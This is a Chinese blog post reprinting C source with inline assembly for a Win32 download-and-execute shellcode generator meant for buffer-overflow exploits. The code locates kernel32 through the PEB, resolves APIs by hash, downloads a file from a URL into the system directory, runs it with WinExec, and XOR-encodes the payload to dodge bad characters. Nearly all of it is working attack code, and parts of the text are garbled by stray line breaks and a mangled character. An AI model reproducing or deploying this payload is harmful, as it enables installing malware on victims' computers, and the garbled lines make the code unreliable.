首页 > 技术文章 > Win32 download url shellcode

Win32 download url shellcode

2007年4月2日 发表评论 279 views 阅读评论

文章作者:Lion

/*
*-----------------------------------------------------------------------

* downloadurl_v31.c - Download file and exec shellcode for Overflow exploit
*
* Copyright (C) 2000-2004 HUC All Rights Reserved.
*
* Author   : lion
*       : lion#cnhonker.net
*       : <a target="_blank" href="http://www.cnhonker.com">http://www.cnhonker.com</a>
*       :
* Date   : 2003-08-15
*       :
* Update   : 2004-05-05 v3.1 
*       : 2004-01-08 v3.0
*       : 2003-09-10 v2.0 
*       : 2003-08-15 v1.0 
*       :
* Tested   : Windows 2000/Windows XP/windows 2003
*       :
* Notice   : 1. 通过peb取得kernel32.dll地址。
*       : 2. 通过函数的hash值来进行比较,代替GetProcAddress取得函数地址,节省函数名占用的空间。
*       : 3. 利用循环获取hash值和函数地址,节省空间。
*       : 4. 下载url文件并执行。
*       : 5. 用vc6可以命令行直接编译,方便修改。
*       : 6. win2000/winxp/win2003 下测试成功。
*       : 7. 比较小巧,长度为241 bytes。
*       :
* Complie : cl downloadurl_v31.c
*       :
* Reference: <a target="_blank" href="http://www.lsd-pl.net/documents/winasm-1.0.1.pdf">http://www.lsd-pl.net/documents/winasm-1.0.1.pdf</a>
*       : <a target="_blank" href="http://www.metasploit.com/shellcode.html">http://www.metasploit.com/shellcode.html</a>
*
*------------------------------------------------------------------------
*/

#include <stdio.h>
#include <winsock2.h>

#pragma comment(lib, "ws2_32")

// Use for find the ASM code
#define PROC_BEGIN               __asm _emit 0x90 __asm _emit 0x90\
                          __asm _emit 0x90 __asm _emit 0x90\
                          __asm _emit 0x90 __asm _emit 0x90\
                          __asm _emit 0x90 __asm _emit 0x90
#define PROC_END               PROC_BEGIN
#define SEARCH_STR               "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
#define SEARCH_LEN               8
#define MAX_SC_LEN               2048
#define HASH_KEY               13

// Define Decode Parameter
#define DECODE_LEN               21
#define SC_LEN_OFFSET             7
#define ENC_KEY_OFFSET           11
#define ENC_KEY                 0x99


// Define Function Addr
#define ADDR_LoadLibraryA         [esi]
#define ADDR_GetSystemDirectoryA     [esi+4]
#define ADDR_WinExec             [esi+8]
#define ADDR_ExitProcess           [esi+12]
#define ADDR_URLDownloadToFileA     [esi+16]
//#define ADDR_URL               edi

// Need functions
unsigned char functions[100][128] =       
{                             // [esi] stack layout
  // kernel32 4                   // 00 kernel32.dll
  {"LoadLibraryA"},               //   [esi]
  {"GetSystemDirectoryA"},           //   [esi+4]
  {"WinExec"},                   //   [esi+8]     
  {"ExitProcess"},                 //   [esi+12]
  //("ExitThread"},
  //{"TerminateProcess"},
  // urlmon 1                   // 01 urlmon.dll
  {"URLDownloadToFileA"},           //   [esi+16] 
  {""},
};
  
// Shellcode string
unsigned char sc[1024] = {0};

unsigned char url[]=
  "<a target="_blank" href="http://127.0.0.1/test.exe">http://127.0.0.1/test.exe</a>\x00";

// ASM shellcode main function
void   ShellCode();

// Get function hash
static DWORD __stdcall GetHash ( char *c )
{
  DWORD h = 0;
  
  while ( *c )
  {
    __asm ror h, HASH_KEY
    
    h += *c++;
  }
  return( h );
}

// Print Shellcode 
void PrintSc(unsigned char *sc, int len)
{
  int   i,j;
  char *p;
  char ms
g[6];
  
  //printf("/* %d bytes */\n", buffsize);
  
  // Print general shellcode
  for(i = 0; i < len; i++)
  {
    if((i%16)==0)
    {
        if(i!=0)
          printf("\"\n\"");
        else
          printf("\"");
    }
    
    //printf("\\x%.2X", sc[i]);
    
    sprintf(msg, "\\x%.2X", sc[i] & 0xff);

    for( p = msg, j=0; j < 4; p++, j++ )
    {
        if(isupper(*p))
          printf("%c", _tolower(*p));
        else
          printf("%c", p[0]);
    }
  }
  
  printf("\";\n");
}


void Make_ShellCode()
{
  unsigned char *pSc_addr;
  unsigned int   Sc_len;
  unsigned int   Enc_key=ENC_KEY;
  unsigned long dwHash[100];
  unsigned int   dwHashSize;

  int i,j,k,l;
  
  
  // Get functions hash
  printf("[+] Get functions hash strings.\r\n");
  for (i=0;;i++) 
  {
    if (functions[i][0] == '\x0') break;

    dwHash[i] = GetHash((char*)functions[i]);
    printf("\t%.8X\t%s\n", dwHash[i], functions[i]);
  }
  dwHashSize = i*4;


  // Deal with shellcode
  pSc_addr = (unsigned char *)ShellCode;
  
  for (k=0;k<MAX_SC_LEN;++k ) 
  {
    if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) 
    {
        break;
    }
  }
  pSc_addr+=(k+SEARCH_LEN);           // Start of the ShellCode
  
  for (k=0;k<MAX_SC_LEN;++k) 
  {
    if(memcmp(pSc_addr+k,SEARCH_STR, SEARCH_LEN)==0) {
        break;
    }
  }
  Sc_len=k;                     // Length of the ShellCode
  
  memcpy(sc, pSc_addr, Sc_len);       // Copy shellcode to sc[]


  // Add functions hash
  memcpy(sc+Sc_len, (char *)dwHash, dwHashSize);
  Sc_len += dwHashSize;

  // Add url 
  memcpy(sc+Sc_len, url, sizeof(url)-1);   
  Sc_len += sizeof(url)-1;

  // Print the size of shellcode.
  printf("[+] %d + %d + %d = %d bytes shellcode\n", DECODE_LEN, Sc_len-DECODE_LEN-sizeof(url)+1, sizeof(url)-1, Sc_len);


  // Print the ip/port offset
  for(k=0; k <= Sc_len-3; ++k)
  {
    if(sc[k] == 0x00 && sc[k+1] == 0x35)
        printf("/* port offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
    if(sc[k] == 0x7F && sc[k+3] == 0x01)
        printf("/* ip offset: %d + %d = %d */\r\n", k-DECODE_LEN, DECODE_LEN, k);
  }

/*           
  for(i=DECODE_LEN; i<Sc_len; i++)
  {
    sc[i] ^= Enc_key;
  }
*/

  // Print shellcode
  //PrintSc(sc, Sc_len); 
  

  // Deal with find the right XOR byte
  for(i=0xff; i>0; i--)
  {
    l = 0;
    for(j=DECODE_LEN; j<Sc_len; j++)
    {
        if ( 
            ((sc[j] ^ i) == 0x26) || //%
            ((sc[j] ^ i) == 0x3d) || //=
            ((sc[j] ^ i) == 0x3f) || //?
            ((sc[j] ^ i) == 0x40) || //@
            ((sc[j] ^ i) == 0x00) ||
            ((sc[j] ^ i) == 0x0D) ||
            ((sc[j] ^ i) == 0x0A) 
          )                   // Define Bad Characters
        {
          l++;                 // If found the right XOR byte,l equals 0
          break;
        };
    }
  
    if (l==0)
    {
        Enc_key = i;
        
        //printf("[+] Find XOR Byte: 0x%02X\n", i);
        for(j=DECODE_LEN; j<Sc_len; j++)
        {
          sc[j] ^= Enc_key;
        }

        break;                 // If found the right XOR byte,&nb
sp;Break
    }
  }

  // Deal with not found XOR byte
  if (l!=0)
  {
    printf("[-] No xor byte found!\r\n");
    exit(-1);
  }

  // Deal with DeCode string
  *(unsigned char *)&sc[SC_LEN_OFFSET] = Sc_len;
  *(unsigned char *)&sc[ENC_KEY_OFFSET] = Enc_key;

  // Print decode
  printf("/* %d bytes decode */\r\n", DECODE_LEN);
  PrintSc(sc, DECODE_LEN);

  // Print shellcode
  printf("/* %d bytes shellcode, xor with 0x%02x */\r\n", Sc_len-DECODE_LEN, Enc_key);
  PrintSc((char*)sc+DECODE_LEN, Sc_len-DECODE_LEN);
  
  printf("[+] download url:%s\n", url);
}

void main()
{
  DWORD   addr;
  WSADATA     wsa;
  
  WSAStartup(MAKEWORD(2,2),&wsa);
  
  Make_ShellCode();

  addr = (DWORD)≻

  __asm
  {
    jmp addr
  }

  return;
}

// ShellCode function
void ShellCode()
{
  __asm
  {
    PROC_BEGIN                 // C macro to begin proc
//--------------------------------------------------------------------
//
// DeCode
//
//--------------------------------------------------------------------
    jmp   short decode_end
    
decode_start:
    pop   ebx                 // Decode start addr (esp -> ebx)
    dec   ebx
    xor   ecx,ecx
    mov   cl,0xFF               // Decode len
    
  decode_loop:
    xor   byte ptr [ebx+ecx],0x99   // Decode key
    loop   decode_loop
    jmp   short decode_ok

decode_end:
    call   decode_start
    
decode_ok:

//--------------------------------------------------------------------
//
// ShellCode
//
//--------------------------------------------------------------------
    jmp   sc_end
    
sc_start:       
    pop   edi                 // Hash string start addr (esp -> edi)

    // Get kernel32.dll base addr
    mov   eax, fs:0x30           // PEB
    mov   eax, [eax+0x0c]         // PROCESS_MODULE_INFO
    mov   esi, [eax+0x1c]         // InInitOrder.flink 
    lodsd                     // eax = InInitOrder.blink
    mov   ebp, [eax+8]           // ebp = kernel32.dll base address

    mov   esi, edi             // Hash string start addr -> esi
  
    // Get function addr of kernel32
    push   4
    pop   ecx
    
  getkernel32:
    call   GetProcAddress_fun
    loop   getkernel32

    // Get function addr of urlmon   
    push   0x00006e6f
    push   0x6d6c7275           // urlmon
    push   esp
    call   ADDR_LoadLibraryA       // LoadLibraryA("urlmon");
    
    mov   ebp, eax             // ebp = urlmon.dll base address
    
/*
    push   1
    pop   ecx

  geturlmon:
    call   GetProcAddress_fun
    loop   geturlmon
*/
    call   GetProcAddress_fun

    // url start addr = edi
    
//LGetSystemDirectoryA: 
    sub   esp, 0x20
    mov   ebx, esp
    
    push   0x20
    push   ebx
    call   ADDR_GetSystemDirectoryA   // GetSystemDirectoryA
    
//LURLDownloadToFileA:   
    // eax = system path size
    // URLDownloadToFileA url save to a.exe
    mov   dword ptr [ebx+eax], 0x652E615C       // "\a.e"
    mov   dword ptr [ebx+eax+0x4], 0x00006578     // "xe"
    xor   eax, eax
    push   eax
    push   eax
    push   ebx                 // %systemdir%\a.exe
    push   edi                 // url
    push   eax
    call   ADDR_URLDownloadToFileA   // URLDownloadToFileA
    
//LWinExec:
        mov   ebx,&nbsp
;esp
        push   eax
        push   ebx
        call   ADDR_WinExec           // WinExec(%systemdir%\a.exe);

Finished:
    //push   1
    call   ADDR_ExitProcess         // ExitProcess();

GetProcAddress_fun:   
    push   ecx
    push   esi
  
    mov   esi, [ebp+0x3C]         // e_lfanew
    mov   esi, [esi+ebp+0x78]       // ExportDirectory RVA
    add   esi, ebp             // rva2va
    push   esi
    mov   esi, [esi+0x20]         // AddressOfNames RVA
    add   esi, ebp             // rva2va
    xor   ecx, ecx
    dec   ecx

  find_start:
    inc   ecx
    lodsd
    add   eax, ebp
    xor   ebx, ebx
    
  hash_loop:
    movsx   edx, byte ptr [eax]
    cmp   dl, dh
    jz     short find_addr
    ror   ebx, HASH_KEY           // hash key
    add   ebx, edx
    inc   eax
    jmp   short hash_loop
  
  find_addr:
    cmp   ebx, [edi]             // compare to hash
    jnz   short find_start
    pop   esi                 // ExportDirectory
    mov   ebx, [esi+0x24]         // AddressOfNameOrdinals RVA
    add   ebx, ebp             // rva2va
    mov   cx, [ebx+ecx*2]         // FunctionOrdinal
    mov   ebx, [esi+0x1C]         // AddressOfFunctions RVA
    add   ebx, ebp             // rva2va
    mov   eax, [ebx+ecx*4]         // FunctionAddress RVA
    add   eax, ebp             // rva2va
    stosd                     // function address save to [edi]
    
    pop   esi
    pop   ecx
    ret
    
sc_end:
    call sc_start
    
    PROC_END                   //C macro to end proc
  }
}

相关文章

分类: 技术文章 标签:
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.